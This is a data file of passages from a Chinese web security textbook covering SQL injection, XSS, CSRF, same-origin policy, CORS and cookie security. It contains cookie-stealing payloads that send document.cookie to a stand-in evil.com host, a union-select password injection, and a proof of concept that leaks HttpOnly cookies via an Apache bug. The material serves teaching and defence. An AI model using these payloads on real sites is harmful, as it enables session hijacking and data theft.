    {"text": "正是这些指令被解释执行，才产生对应的数据内容，而不同指令的解释执行，由对应的环境完成，比如： select username,email,desc from users where id=1; 这是一条简单的SQL查询指令，当这条指令被解释执行时，就会产生一组数据，内容由username/email/desc构成，而解释的环境则为数据库引擎。 再如： <script> eval(location.hash.substr(1)); </script> <script></script>标签内的是一句JavaScript指令，由浏览器的JS引擎来解释执行，解释的结果就是数据。 而<script></script>本身却是HTML指令（俗称HTML标签），由浏览器DOM引擎进行渲染执行。"},
    {"text": "1. SQL注入攻击的发生 select username,email,desc from users where id=1; 下面以MySQL环境为例进行说明，在这条SQL语句中，如果id的值来自用户提交，并且用户是通过访问链接（http://www.foo.com/user.php?id=1）来获取自身的账号信息的。"},
    {"text": "那么普通用户会规规矩矩地对id提交整型数值，如1、2、3等，而邪恶的攻击者则会提交如下形式的值： 1 union select password,1,1 from users 组成的链接形式为： http://www.foo.com/user.php?id=1 union select password,1,1 from users 组成的SQL语句为： select username,email,desc from users where id=1 union select password,1,1 from users 看到了吗？"},
    {"text": "JavaScript的内置函数eval可以动态执行JavaScript语句，location.hash获取的是链接http://www.foo.com/info.html#callback中的#符号及其后面的内容。 substr是字符串截取函数，location.hash.substr(1)表示截取#符号之后的内容，随后给eval函数进行动态执行。"},
    {"text": "如果攻击者构造出如下链接： http://www.foo.com/info.html#new%20Image().src=\"http://www.evil.com/steal.php?c=\"+escape(document.cookie) 浏览器解释执行后，下面的语句： eval(location.hash.substr(1)); 会变为： eval('new Image().src=\"http://www.evil.com/steal.php?c=\"+escape(document.cookie)') 当被攻击者被诱骗访问了该链接时，Cookies会话信息就会被盗取到黑客的网站上，一般情况下，黑客利用该Cookies可以登录被攻击者的账号，并进行越权操作。"},
    {"text": "题外话： 跨站攻击发生在浏览器客户端，而SQL注入攻击由于针对的对象是数据库，一般情况下，数据库都在服务端，所以SQL注入是发生在服务端的攻击。"},
    {"text": "为什么这里说“一般情况下”，那是因为HTML5提供了一个新的客户端存储机制：在浏览器端，使用SQLite数据库保存客户端数据，该机制允许使用JavaScript脚本操作SQL语句，从而与本地数据库进行交互。"},
    {"text": "Web世界之所以能如此美好地呈现在我们面前，多亏了浏览器的功劳，不过浏览器不是一个花瓶——只负责呈现，它还制定了一些安全策略，这些安全策略有效地保障了用户计算机的本地安全与Web安全。"},
    {"text": "同源策略是众多安全策略的一个，是Web层面上的策略，非常重要，如果少了同源策略，就等于楚汉两军没了楚河汉界，这样天下就大乱了。 同源策略规定：不同域的客户端脚本在没明确授权的情况下，不能读写对方的资源。 下面分析同源策略下的这个规定，其中有几个关键词：不同域、客户端脚本、授权、读写、资源。"},
    {"text": "1. 不同域或同域 同域要求两个站点同协议、同域名、同端口，比如：表1-1展示了表中所列站点与http://www.foo.com是否同域的情况。 表1-1 是否同域情况 从表1-1中的对比情况可以看出，我们通常所说的两个站点同域就是指它们同源。"},
    {"text": "2. 客户端脚本 客户端脚本主要指JavaScript（各个浏览器原生态支持的脚本语言）、ActionScript（Flash的脚本语言），以及JavaScript与ActionScript都遵循的ECMAScript脚本标准。"},
    {"text": "客户端也存在授权现象，比如：HTML5新标准中提到关于AJAX跨域访问的情况，默认情况下是不允许跨域访问的，只有目标站点（假如是http://www.foo.com）明确返回HTTP响应头： Access-Control-Allow-Origin: http://www.evil.com 那么www.evil.com站点上的客户端脚本就有权通过AJAX技术对www.foo.com上的数据进行读写操作。"},
    {"text": "注： AJAX是Asynchronous JavaScript And XML的缩写，让数据在后台进行异步传输，常见的使用场景有：对网页的局部数据进行更新时，不需要刷新整个网页，以节省带宽资源。 AJAX也是黑客进行Web客户端攻击常用的技术，因为这样攻击就可以悄无声息地在浏览器后台进行，做到“杀人无形”。"},
    {"text": "4. 读写权限 Web上的资源有很多，有的只有读权限，有的同时拥有读和写的权限。 比如：HTTP请求头里的Referer（表示请求来源）只可读，而document.cookie则具备读写权限。"},
    {"text": "同源策略里的资源是指Web客户端的资源。 一般来说，资源包括：HTTP消息头、整个DOM树、浏览器存储（如：Cookies、Flash Cookies、localStorage等）。 客户端安全威胁都是围绕这些资源进行的。"},
    {"text": "注： DOM全称为Document Object Model，即文档对象模型，就是浏览器将HTML/XML这样的文档抽象成一个树形结构，树上的每个节点都代表HTML/XML中的标签、标签属性或标签内容等。"},
    {"text": "到此，已经将同源策略的规定分析清楚，如果Web世界没有同源策略，当你登录Gmail邮箱并打开另一个站点时，这个站点上的JavaScript就可以跨域读取你的Gmail邮箱数据，这样整个Web世界就无隐私可言了。"},
    {"text": "1.3 信任与信任关系 其实安全的攻防都是围绕“信任”进行的。 前面提到的同源策略也是信任的一种表现，默认情况下，不同源则不信任，即不存在什么信任关系，这都是出于安全的考虑。"},
    {"text": "1. 场景一 一个Web服务器上有两个网站A与B，黑客的入侵目标是A，但是直接入侵A遇到了巨大阻碍，而入侵B却成功了。 由于网站A与B在同一个Web服务器上，且在同一个文件系统里，如果没进行有效的文件权限配置，黑客就可以轻而易举地攻克网站A。"},
    {"text": "2. 场景二 很多网站都嵌入了第三方的访问统计脚本，嵌入的方式是使用<script>标签引用，这时就等于建立了信任关系，如果第三方的统计脚本被黑客挂马，那么这些网站也都会被危及。"},
    {"text": "你的网站本身是很安全的，由于嵌入了第三方内容，从而导致网站不安全，虽然这样不会导致你的网站直接被入侵，但却危害到了访问你网站的广大用户。"},
    {"text": "这种信任关系很普遍，服务器与服务器、网站与网站、Web服务的不同子域、Web层面与浏览器第三方插件、Web层面与浏览器特殊API、浏览器特殊API与本地文件系统、嵌入的Flash与当前DOM树、不同协议之间，等等。"},
    {"text": "比如，某开源Web应用的管理员后台有SQL注入，通过前期的踩点，我们发现这个SQL注入具有操作系统写权限，而且知道了该开源Web应用的物理路径。 如果不是管理员后台，直接用一条SQL语句就可以得到一个Web后门，好像很可惜了，因为必须具备管理员权限。 其实不然，在这个场景中，完全不用悲观，借用CSRF很可能就能成功，大致过程如下： （1）提交这条包含恶意SQL语句的后台链接（事先做好URL的各种编码转换，以达到隐蔽效果）给管理员，比如留言、评论、申请友情链接等。"},
    {"text": "（3）发生CSRF（跨站请求伪造）了，此时就会以管理员权限进行后续的指令执行。 这个过程通过CSRF借用了管理员权限，然后执行SQL注入，很巧妙地“借刀杀人”。 注： CSRF是跨站请求伪造，具体内容在第4章详细介绍。 其实上面这个小场景已经暗示：CSRF会借用目标用户的权限做一些借刀杀人的事（注意是“借用”，而不是“盗取”目标权限），然后去做坏事，“盗取”通常是XSS（跨站脚本攻击）最喜欢做的事。"},
    {"text": "如果真的有人去进行APT（持久化威胁）攻击，就盯这个网站半年，一个XSS盗取Cookies的利用一等就是半年，管理员也许不会被诱骗查看这个XSS链接，即使查看了，如果是个反射型的XSS，IE 8/IE 9/Chome直接就给拦截了。"},
    {"text": "可是就这样一传十，十传百，很多人都开始感觉XSS就是鸡肋，下结论越来越不负责了，在他们眼里只有那种类似MS08-067远程用操作系统权限的系统级别漏洞才是王道，我们不否认这样很帅，不过前端黑客攻击的对象是Web应用，并非操作系统，本身没有可比性。"},
    {"text": "2.1 W3C的世界法则 W3C即万维网联盟（http://www.w3.org/），它制定了很多推荐标准，比如：HTML、XML、JavaScript、CSS等，是这些标准让这个Web世界变得标准和兼容。"},
    {"text": "而浏览器的实现也不一定完全遵循标准，甚至可能冒出一个自己的方案，这个现象可以在微软的IE浏览器与Mozilla的Firefox浏览器中随处发现，这也是前端设计师们经常苦恼的“不兼容”问题，导致出现了各种“Hack”技术，这些Hacks就是为了解决这些不兼容问题而出现的。"},
    {"text": "比如，为了解决CSS兼容性而发展的CSS Reset技术，该技术会重置一些样式（这些样式在不同的浏览器中有不同的呈现），后续的CSS将在这个基础上重新开始定义自己的样式。"},
    {"text": "再如，为了解决JavaScript兼容性，诞生了许多优秀的JavaScript框架，如jQuery、YUI等，使用这些框架提供的API，就可以很好地在各个主流浏览器上得到一致的效果。"},
    {"text": "解决方案的参与者除了攻击者以外，其他都需要参与，这是一个因果循环，如果W3C的标准制定具有安全缺陷，那么遵循标准去实现的浏览器厂商与Web厂商都将带进这些安全缺陷，或者W3C标准没安全缺陷，而浏览器厂商或者Web厂商实现上存在缺陷，那么安全事件照样发生，而如果被攻击者能有比较好的安全意识或防御方案，那么安全事件也很难发生。"},
    {"text": "2.2 URL URL是互联网最伟大的创意之一，也就是我们经常提的链接，通过URL请求可以查找到唯一的资源，格式如下： <scheme>://<netloc>/<path>?<query>#<fragment> 比如，下面是一个最普通的URL： http://www.foo.com/path/f.php?id=1&type=cool#new 对应关系是： <scheme> - http <netloc> - www.foo.com <path> - /path/f.php <query> - id=1&type=cool，包括<参数名=参数值>对 <fragment> - new 对于需要HTTP Basic认证的URL请求，甚至可以将用户名与密码直接放入URL中，在<netloc>之前，格式如： http://username:password@www.foo.com/ 我们接触最多的是HTTP/HTTPS协议的URL，这是Web安全的入口点，各种安全威胁都是伴随着URL的请求而进行的，如果客户端到服务端各层的解析没做好，就可能出现安全问题。 URL有个重点就是编码方式，有三类：escape、encodeURI、encodeURIComponent，对应的解码函数是：unescape、decodeURI、decodeURIComponent。"},
    {"text": "2.3 HTTP协议 URL的请求协议几乎都是HTTP，它是一种无状态的请求响应，即每次的请求响应之后，连接会立即断开或延时断开（保持一定的连接有效期），断开后，下一次请求再重新建立。"},
    {"text": "这里举一个简单的例子，对http://www.foo.com/发起一个GET请求： GET http://www.foo.com/HTTP/1.1 Host: www.foo.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.3 Safari/535.19 Referer: http://www.baidu.com/ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1 响应如下： HTTP/1.1 200 OK Date: Sun, 04 Mar 2012 22:48:31 GMT Server: Apache/2.2.8 (Win32) PHP/5.2.6 Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/; domain=.foo.com; HttpOnly Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.foo.com X-Powered-By: PHP/5.2.6 Content-Length: 3635 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=gbk <html> ... </html> 请求与响应一般都分为头部与体部（它们之间以空行分隔）。"},
    {"text": "GET http://www.foo.com/HTTP/1.1 这一行必不可少，常见的请求方法有GET/POST，最后的“HTTP/1.1”表示1.1版本的HTTP协议，更早的版本有1.0、0.9。 Host: www.foo.com 这一行也必不可少，表明请求的主机是什么。"},
    {"text": "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.3 Safari/535.19 User-Agent很重要，用于表明身份（我是谁）。"},
    {"text": "Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1 前面说HTTP是无状态的，那么每次在连接时，服务端如何知道你是上一次的那个？"},
    {"text": "Server: Apache/2.2.8 (Win32) PHP/5.2.6 上述语句透露了服务端的一些信息：Web容器、操作系统、服务端语言及对应的版本。 X-Powered-By: PHP/5.2.6 这里也透露了服务端语言的信息。"},
    {"text": "针对不同的资源类型会有不同的解析方式，这个会影响浏览器对响应体里的资源解析方式，可能因此带来安全问题。 字符集也会影响浏览器的解码方式，同样可能带来安全问题。"},
    {"text": "Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/; domain=.foo.com; HttpOnly; Secure Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.foo.com 每个Set-Cookie都设置一个Cookie（key=value这样），随后是如下内容。"},
    {"text": "HttpOnly：标志（默认无，如果有的话，表明Cookie存在于HTTP层面，不能被客户端脚本读取）。 Secure：标志（默认无，如果有的话，表明Cookie仅通过HTTPS协议进行安全传输）。"},
    {"text": "我们看到的网页就是一个HTML文档，比如下面这段就是HTML。 <html> <head> <title>HTML</title> <metahttp-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <style> /*这里是样式*/ body{font-size:14px;} </style> <script> a=1; //这里是脚本 </script> </head> <body> <div> <h1>这些都是HTML</h1><br /> <img src=\"http://www.foo.com/logo.jpg\" title=\"这里是图片引用\" /> </div> </body> </html> 为什么说HTML的世界是松散的？ 我们知道，HTML是由众多标签组成的，标签内还有对应的各种属性。"},
    {"text": "其实HTML文档就是一个DOM树。 如上面那段HTML，如果用树形结构描述，语句如下。 <html> - <head> - <title> - HTML - <meta> - @http-equiv - Content-Type - @content - text/html - @charset - utf-8 - <style> - /*这里是样式*/\\r\\nbody{font-size:14px;} - <script> - a=1; //这里是脚本 - <body> - <div> - <h1> - 这些都是HTML - <br /> - <img> - @src - http://www.foo.com/logo.jpg - @title - 这里是图片引用 这个树很简单，<html>是树根，其他都是树的每个节点。"},
    {"text": "2.4.2 iframe内嵌出一个开放的世界 iframe标签是HTML中一个非常重要的标签，也是Web安全中出镜频率最高的标签之一，很多网站都通过iframe嵌入第三方内容，比如，嵌入广告页面，语句如下： <!--AdForward Begin:--> <iframe marginheight=\"0\" marginwidth=\"0\" frameborder=\"0\" width=\"820\" height=\"90\" scrolling=\"no\" src=\"http://msn.allyes.com/main/adfshow?user=MSN|Home_Page|Homepage_2nd_banner_820x90&amp;db=msn&amp;border=0&amp;local=yes\"> </iframe> <!--AdForward End--> 还有Web 2.0网站中嵌入的许多第三方Web游戏与应用，都有使用到iframe。 iframe标签带来了很多便利，同时也带来了很多风险，比如，攻击者入侵一个网站后，可以通过iframe嵌入自己的网马页面，用户访问该网站后，被嵌入的网马页面就会执行，这种信任关系导致的安全问题在第1章已介绍过。 iframe标签还有一些有趣的安全话题，当网站页面使用iframe方式嵌入一个页面时，我们约定网站页面是父页，而被嵌入的这个页面是子页，如图2-1所示。"},
    {"text": "图2-1 iframe父页与子页资源访问 如果父页和子页之间是同域，那就很容易，父页可以通过调用子页的contentWindow来操作子页的DOM树，同理，子页可以调用父页的contentWindow来操作父页的DOM树。"},
    {"text": "如果它们不同域，则必须遵守同源策略，但子页还是可以对父页的location值进行写操作，这样可以让父页重定向到其他网页，不过对location的操作仅仅只有写权限，而没有读权限，这样就不能获取到父页location URL的内容，否则有可能会造成隐私数据泄漏，比如，有的网站将身份认证token存在于URL中。"},
    {"text": "2.4.3 HTML内嵌脚本执行 JavaScript脚本除了出现在JS格式文件里，被嵌入而执行外，还可以出现在HTML的<script></script>标签内、HTML的标签on事件中，以及一些标签的href、src等属性的伪协议（javascript:等）中。"},
    {"text": "如下几个例子： <script>alert(1)</scipt> <img src=# onerror=\"alert(1)\" /> <input type=\"text\" value=\"x\" onmouseover=\"alert(1)\" /> <iframe src=\"javascript:alert(1)\"></iframe> <a href=\"javascript:alert(1)\">x</a> … 这样导致防御XSS变得有些棘手，出现在DOM树的不同位置，面对的防御方案都不太一样。"},
    {"text": "对跨站师来说，大多数情况下，有了XSS漏洞，就意味着可以注入任意的JavaScript，有了JavaScript，就意味着被攻击者的任何操作都可以模拟，任何隐私信息都可以获取到。"},
    {"text": "1. 获取HTML内容中的隐私数据 比如，要获取的隐私数据是用户的私信内容，内容在DOM的位置如下： <html> <head> …. </head> <body> … <div id=\"private_msg\"> 隐私数据在这…… </div> … </body> </html> 在这个DOM树中，id=\"private_msg\"的标签节点包含了用户的私信内容，通过JavaScript可以非常简单地获取： document.getElementById('private_msg').innerHTML; document对象代表整个DOM，getElementById函数可以获取指定id号的标签对象，这些标签对象都有一个属性innerHTML，表示标签对象内的HTML数据内容。"},
    {"text": "那么可以用下列语句获取： document.getElementsByTagName('div')[2].innerHTML; 这时用到的函数是getElementsByTagName，接收的参数就是标签名，返回一个数组，数组下标从0开始，于是第3个表示为[2]。"},
    {"text": "2. 获取浏览器的Cookies数据 Cookies中保存了用户的会话信息，通过document.cookie可以获取到，不过并不是所有的Cookies都可以获取，具体内容在2.5.4节详细介绍。 3. 获取URL地址中的数据 从window.location或location处可以获取URL地址中的数据。"},
    {"text": "异步和同步对应，异步可以理解为单独开启了一个线程，独立于浏览器主线程去做自己的事，这样浏览器就不会等待（阻塞），这个异步在后台悄悄进行，所以利用AJAX的攻击显得很诡异，无声无息。"},
    {"text": "AJAX本身就是由JavaScript构成的，只是XML并不是必需的，XML在这里是想指数据传输格式是XML，比如，AJAX发出去的HTTP请求，响应回的数据是XML格式，然后JavaScript去解析这个XML DOM树得到相应节点的内容。"},
    {"text": "AJAX的核心对象是XMLHttpRequest（一般简称为xhr），不过IE 7之前的浏览器不支持xhr对象，而是通过ActiveXObject来实现的。 看下面的xhr实例化： var xmlhttp; if(window.XMLHttpRequst){ xmlhttp = new XMLHttpRequst(); //IE7+, Firefox, Chrome, Opera, Safari等 }else{ xmlhttp=new ActiveXObject(\"Microsoft.XMLHTTP\"); //IE 6/IE 5浏览器的方式 } 实例化后就是设置好回调，然后发送HTTP请求需要的头部与参数键值，待响应成功后会触发该回调，回调函数就可以处理响应回来的数据了。"},
    {"text": "这里需要注意，不是任何请求头都可以通过JavaScript进行设置的，否则前端的逻辑世界就乱了，W3C给出了一份头部黑名单： Accept-Charset Accept-Encoding Access-Control-Request-Headers Access-Control-Request-Method Connection Content-Length Cookie Cookie2 Content-Transfer-Encoding Date Expect Host Keep-Alive Origin Referer TE Trailer Transfer-Encoding Upgrade User-Agent Via ... 这个黑名单曾经是不完备的，也有一些技巧导致黑名单被绕过，导致可以任意提交Referer/User-Agent/Cookie等头部值，随着时间的推移，黑名单总是有自己的风险。 响应回的数据也包括头部与体部，通过getResponseHeader函数可以获得指定的响应头，除了Set-Cookie/Set-Cookie2（其中可能就有设置了HttpOnly标志的Cookie，这是严禁客户端脚本读取的）等。"},
    {"text": "不过有一种情况，可以发送数据到另一个域，W3C的新标准中，CORS（Cross-Origin Resource Sharing）开始推进浏览器支持这样的跨域方案，现在的浏览器都支持这个方案了，过程如下： www.foo.com（来源域）的AJAX向www.evil.com（目标域）发起了请求，浏览器会给自动带上Origin头，如下： Origin: http://www.foo.com 然后目标域要判断这个Origin值，如果是自己预期的，那么就返回： Access-Control-Allow-Origin: http://www.foo.com 表示同意跨域。 如果Access-Control-Allow-Origin之后是*通配符，则表示任意域都可以往目标跨。 如果目标域不这样做，浏览器获得响应后没发现Access-Control-Allow-Origin头的存在，就会报类似下面这样的权限错误： XMLHttpRequest cannot load http://www.evil.com. Origin http://www.foo.com is not allowed by Access-Control-Allow-Origin. IE下不使用XMLHttpRequest对象，而是自己的XDomainRequst对象，实例化后，使用方式与XMLHttpRequest基本一致。 如下代码能让我们的CORS方案兼容： <script> function createCORSRequest(method, url){ var xhr = new XMLHttpRequest(); if (\"withCredentials\" in xhr){ xhr.open(method, url, true); } else if (typeof XDomainRequest != \"undefined\"){ xhr = new XDomainRequest(); //IE浏览器 xhr.open(method, url); } else { xhr = null; } return xhr; } var request = createCORSRequest(\"get\", \"http://www.evil.com/steal.php?data=456\"); if (request){ request.onload = function(){ //请求成功后 alert(request.responseText); //弹出响应的数据 }; request.send(); //发送请求 } </script> 上述代码存放在www.foo.com域上，跨域往目标域发起请求，目标域steal.php的代码如下： <?php header(\"Access-Control-Allow-Origin: http://www.foo.com\"); //... ?> 注： 根据上面这些简陋的代码，我们可以丰富一下，想想适合怎样的攻击场景？"},
    {"text": "有一个实时远控的场景，我们可以将源头域上的隐私数据（每3秒）跨域提交到目标域上，并获取目标域响应的内容，这样的内容可以动态生成，也可以是JavaScript指令，然后在源头域上被eval等方式动态执行。"},
    {"text": "默认情况下，这样的跨域无法带上目标域的会话（Cookies等），需要设置xhr实例的withCredentials属性为true（IE还不支持），同时目标域的steal.php必须设置如下： <?php header(\"Access-Control-Allow-Origin: http://www.foo.com\"); header(\"Access-Control-Allow-Credentials: true\"); //允许跨域证书发送 //... ?> 有一点需要注意，如果设置了Access-Control-Allow-Credentials为true，那么Access-Control-Allow-Origin就不能设置为*通配符，这也是浏览器为了安全进行的考虑。"},
    {"text": "对于GET方式，实际上就是一个URL，方式有很多，常见的如下： //新建一个img标签对象，对象的src属性指向目标地址 new Image().src=\"http://www.evil.com/steal.php\"+escape(document.cookie); //在地址栏里打开目标地址 location.href=\"http://www.evil.com/steal.php\"+escape(document.cookie); 这个原理是相通的，通过JavaScript动态创建iframe/frame/script/link等标签对象，然后将它们的src或href属性指向目标地址即可。"},
    {"text": "对于POST的请求，前面说的XMLHttpRequest对象就是一个非常方便的方式，可以模拟表单提交，它有异步与同步之分，差别在于XMLHttpRequst实例化的对象xhr的open方法的第三个参数，true表示异步，false表示同步，如果使用异步方式，就是AJAX。 异步则表示请求发出去后，JavaScript可以去做其他事情，待响应回来后会自动触发xhr对象的onreadystatechange事件，可以监听这个事件以处理响应内容。 同步则表示请求发出去后，JavaScript需要等待响应回来，这期间就进入阻塞阶段。 如下是一段同步的示例： xhr = function(){ /*xhr对象*/ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { try { request = new window.ActiveXObject('Microsoft.XMLHTTP'); } catch(e) {} } return request; }(); request = function(method,src,argv,content_type){ xhr.open(method,src,false); //同步方式 if(method=='POST')xhr.setRequestHeader('Content-Type',content_type); //设置表单的Content-Type类型，常见的是application/x-www-form-urlencoded xhr.send(argv); //发送POST数据 return xhr.responseText; //返回响应的内容 }; attack_a = function(){ var src = http://www.evil.com/steal.php; var argv_0 = \"&name1=value1&name2=value2\"; request(\"POST\",src,argv_0,\"application/x-www-form-urlencoded\"); }; attack_a(); POST表单提交的Content-Type为application/x-www-form-urlencoded，它是一种默认的标准格式。"},
    {"text": "它一般出现在有文件上传的表单中，示例如下： xhr = function(){ /*省略xhr对象的创建*/ }(); request = function(method,src,argv,content_type){ xhr.open(method,src,false); if(method=='POST')xhr.setRequestHeader('Content-Type',content_type); xhr.send(argv); return xhr.responseText; } attack_a = function(){ var src = http://www.evil.com/steal.php; var name1 = \"value1\"; var name2 = \"value2\"; var argv_0 = \"\\r\\n\"; argv_0 += \"---------------------7964f8dddeb95fc5\\r\\nContent-Disposition: form-data; name=\\\"name1\\\"\\r\\n\\r\\n\"; argv_0 += (name1+\"\\r\\n\"); argv_0 += \"---------------------7964f8dddeb95fc5\\r\\nContent-Disposition: form-data; name=\\\"name2\\\"\\r\\n\\r\\n\"; argv_0 += (name2+\"\\r\\n\"); argv_0 += \"---------------------7964f8dddeb95fc5--\\r\\n\"; /* POST提交的参数是以-------------------7964f8dddeb95fc5分隔的 下面设置表单提交的Content-Type与form-data分隔边界为： multipart/form-data; boundary=-------------------7964f8dddeb95fc5 */ request(\"POST\",src,argv_0,\"multipart/form-data; boundary=-------------------7964f8dddeb95fc5\"); } attack_a(); 除了可以通过xhr对象模拟表单提交外，还有一种比较原始的方式：form表单自提交。 原理是通过JavaScript动态创建一个form，并设置好form中的每个input键值，然后对form对象做submit()操作即可，示例如下： function new_form(){ var f = document.createElement(\"form\"); document.body.appendChild(f); f.method = \"post\"; return f; } function create_elements(eForm, eName, eValue){ var e = document.createElement(\"input\"); eForm.appendChild(e); e.type = 'text'; e.name = eName; if(!document.all){e.style.display = 'none';}else{ e.style.display = 'block'; e.style.width = '0px'; e.style.height = '0px'; } e.value = eValue; return e; } var _f = new_form(); //创建一个form对象 create_elements(_f, \"name1\", \"value1\"); //创建form中的input对象 create_elements(_f, \"name2\", \"value2\"); _f.action= \"http://www.evil.com/steal.php\"; //form提交地址 _f.submit(); //提交 我们介绍了好几种模拟用户发起浏览器请求的方法，其用处很大且使用很频繁。 前端黑客攻击中，比如XSS经常需要发起各种请求（如盗取Cookies、蠕虫攻击等），上面的几种方式都是XSS攻击常用的，而最后一个表单自提交方式经常用于CSRF攻击中。"},
    {"text": "2.5.4 Cookie安全 Cookie是一个神奇的机制，同域内浏览器中发出的任何一个请求都会带上Cookie，无论请求什么资源，请求时，Cookie出现在请求头的Cookie字段中。"},
    {"text": "由于这样的机制，Cookie经常被用来存储用户的会话信息，比如，用户登录认证后的Session，之后同域内发出的请求都会带上认证后的会话信息，非常方便。"},
    {"text": "Cookie的重要字段如下： [name][value][domain][path][expires][httponly][secure] 其含义依次是：名称、值、所属域名、所属相对根路径、过期时间、是否有HttpOnly标志、是否有Secure标志。"},
    {"text": "1. 子域Cookie机制 这是domain字段的机制，设置Cookie时，如果不指定domain的值，默认就是本域。 例如，a.foo.com域通过JavaScript来设置一个Cookie，语句如下： document.cookie=\"test=1\"; 那么，domain值默认为a.foo.com。 有趣的是，a.foo.com域设置Cookie时，可以指定domain为父级域，比如： document.cookie=\"test=1;domain=foo.com\"; 此时，domain就变为foo.com，这样带来的好处就是可以在不同的子域共享Cookie，坏处也很明显，就是攻击者控制的其他子域也能读到这个Cookie。"},
    {"text": "2. 路径Cookie机制 这是path字段的机制，设置Cookie时，如果不指定path的值，默认就是目标页面的路径。 例如，a.foo.com/admin/index.php页面通过JavaScript来设置一个Cookie，语句如下： document.cookie=\"test=1\"; path值就是/admin/。 通过指定path字段，JavaScript有权限设置任意Cookie到任意路径下，但是只有目标路径下的页面JavaScript才能读取到该Cookie。 那么有什么办法跨路径读取Cookie？ 比如，/evil/路径想读取/admin/路径的Cookie。 很简单，通过跨iframe进行DOM操作即可，/evil/路径下页面的代码如下： xc = function(src){ var o = document.createElement(\"iframe\"); //iframe进入同域的目标页面 o.src = src; document.getElementsByTagName(\"body\")[0].appendChild(o); o.onload = function(){ //iframe加载完成后 d = o.contentDocument || o.contentWindow.document; //获取document对象 alert(d.cookie); //获取cookie }; }('http://a.foo.com/admin/index.php'); 所以，通过设置path不能防止重要的Cookie被盗取。 3. HttpOnly Cookie机制 顾名思义，HttpOnly是指仅在HTTP层面上传输的Cookie，当设置了HttpOnly标志后，客户端脚本就无法读写该Cookie，这样能有效地防御XSS攻击获取Cookie。 以PHP setcookie为例，httponly.php文件代码如下： <?php setcookie(\"test\", 1, time()+3600, \"\", \"\", 0); //设置普通Cookie setcookie(\"test_http\", 1, time()+3600, \"\", \"\", 0, 1); //第7个参数（这里的最后一个）是HttpOnly标志，0为关闭，1为开启，默认为0 ?> 请求这个文件后，设置了两个Cookie，如图2-2所示。 图2-2 设置的Cookie值 其中，test_http是HttpOnly Cookie。 有什么办法能获取到HttpOnly Cookie？ 如果服务端响应的页面有Cookie调试信息，很可能就会导致HttpOnly Cookie的泄漏。"},
    {"text": "图2-4 Django调试信息 （3）CVE-2012-0053关于Apache Http Server 400错误暴露HttpOnly Cookie，描述如下： Apache HTTP Server 2.2.x多个版本没有严格限制HTTP请求头信息，HTTP请求头信息超过LimitRequestFieldSize长度时，服务器返回400（Bad Request）错误，并在返回信息中将出错的请求头内容输出（包含请求头里的HttpOnly Cookie），攻击者可以利用这个缺陷获取HttpOnly Cookie。 可以通过技巧让Apache报400错误，例如，如下POC（Proof of Concept，为观点提供证据）： <script> /* POC来自： https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 大多数浏览器限制Cookies最大为4kB，我们设置为更大，让请求头长度超过Apache的LimitRequestFieldSize，从而引发400错误。"},
    {"text": "*/ function setCookies (good) { var str = \"\"; for (var i=0; i< 819; i++) { str += \"x\"; } for (i = 0; i < 10; i++) { if (good) { //清空垃圾Cookies var cookie = \"xss\"+i+\"=;expires=\"+new Date(+new Date()-1). toUTCString()+\"; path=/;\"; } //添加垃圾Cookies else { var cookie = \"xss\"+i+\"=\"+str+\";path=/\"; } document.cookie = cookie; } } function makeRequest() { setCookies(); //添加垃圾Cookies function parseCookies () { var cookie_dict = {}; //仅当处于400状态时 if (xhr.readyState === 4 && xhr.status === 400) { //替换掉回车换行字符，然后匹配出<pre></pre>代码段里的内容 var content = xhr.responseText.replace(/\\r|\\n/g,'').match (/<pre>(.+)<\\/pre>/); if (content.length) { //替换“Cookie: ”前缀 content = content[1].replace(\"Cookie: \", \"\"); var cookies = content.replace(/xss\\d=x+;?/g, '').split(/;/g); for (var i=0; i<cookies.length; i++) { var s_c = cookies[i].split('=',2); cookie_dict[s_c[0]] = s_c[1]; } } setCookies(true); //清空垃圾Cookies alert(JSON.stringify(cookie_dict)); //得到HttpOnly Cookie } } //针对目标页面发出xhr请求，请求会带上垃圾Cookies var xhr = new XMLHttpRequest(); xhr.onreadystatechange = parseCookies; xhr.open(\"GET\", \"httponly.php\", true); xhr.send(null); } makeRequest(); </script> apache 400 httponly cookie poc 请求这个POC时，发出的请求头信息如图2-5所示。"},
    {"text": "图2-5 POC发出的请求头信息 此时，httponly.php（其代码在前面已给出）会出现400错误，导致HttpOnly Cookie泄漏，如图2-6所示。 图2-6 Apache 400错误报出的HttpOnly Cookie 上面的几个例子中，服务端响应泄漏了HttpOnly Cookie应该算是一种漏洞，需谨慎对待，否则XSS会轻易获取到同域内的HttpOnly Cookie。"},
    {"text": "4. Secure Cookie机制 Secure Cookie机制指的是设置了Secure标志的Cookie仅在HTTPS层面上安全传输，如果请求是HTTP的，就不会带上这个Cookie，这样能降低重要的Cookie被中间人截获的风险。"},
    {"text": "如下的JavaScript代码可对已知的Secure Cookie进行篡改： //path与domain必须一致，否则会被认为是不同的Cookie document.cookie=\"test_secure=hijack;path=/;secure;\" 5. 本地Cookie与内存Cookie 理解这个很简单，它与过期时间（Cookie的expires字段）紧密相关。"},
